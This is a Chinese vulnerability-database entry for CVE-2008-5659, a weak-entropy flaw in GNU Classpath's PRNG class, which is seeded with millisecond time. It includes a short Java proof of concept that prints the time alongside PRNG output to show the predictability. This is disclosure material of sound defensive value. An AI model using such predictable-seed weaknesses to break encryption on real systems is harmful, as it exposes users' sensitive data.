GNU Classpath gnu.java.security.util.PRNG类不充分熵漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116938 漏洞类型 加密问题
发布时间 2008-12-05 更新时间 2008-12-29
CVE编号 CVE-2008-5659 CNNVD-ID CNNVD-200812-351
漏洞平台 Multiple CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/32673
https://www.securityfocus.com/bid/32909
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-351
|漏洞详情
GNUClasspath是虚拟机和编译器所使用的Java的核心类库。GNUClasspath中的gnu.java.security.util.PRNG类默认使用毫秒时间作为内部种子,这样的种子随机性不够强,攻击者可以通过暴力猜测相对容易的破解加密例程,从而读取敏感信息。
|漏洞EXP
source: http://www.securityfocus.com/bid/32909/info

GNU Classpath is prone to a weakness that may result in weaker cryptographic security because its psuedo-random number generator (PRNG) lacks entropy.

Attackers may leverage this issue to obtain sensitive information that can lead to further attacks.

Classpath 0.97.2 is vulnerable; other versions may also be affected. 

import gnu.java.security.util.PRNG;

class PRNGTest {
   public static void main(String args[])
      {
      long t = System.currentTimeMillis();

      System.out.println("Time in ms is " + t);

      PRNG prng = PRNG.getInstance();

      byte buffer[] = new byte[40];

      prng.nextBytes(buffer, 0, buffer.length);

      for(int i = 0; i != buffer.length; ++i)
         {
         // There must be an easier way to do this (right?)
         int intval = buffer[i];

         if(intval <= 0)
            intval += 256;

         String s = Integer.toHexString(intval);

         if(s.length() == 1)
            s = "0" + s;

         System.out.print(s);
         }
      System.out.println("");
      }
   };
|受影响的产品
GNU Classpath 0.97.2
|参考资料

来源:XF
名称:classpath-gnujavasecurityutil-weak-security(47574)
链接:http://xforce.iss.net/xforce/xfdb/47574
来源:MLIST
名称:[oss-security]20081206CVErequest:weakPRNGinGNUClasspath
链接:http://www.openwall.com/lists/oss-security/2008/12/06/2
来源:gcc.gnu.org
链接:http://gcc.gnu.org/bugzilla/show_bug.cgi?id=38417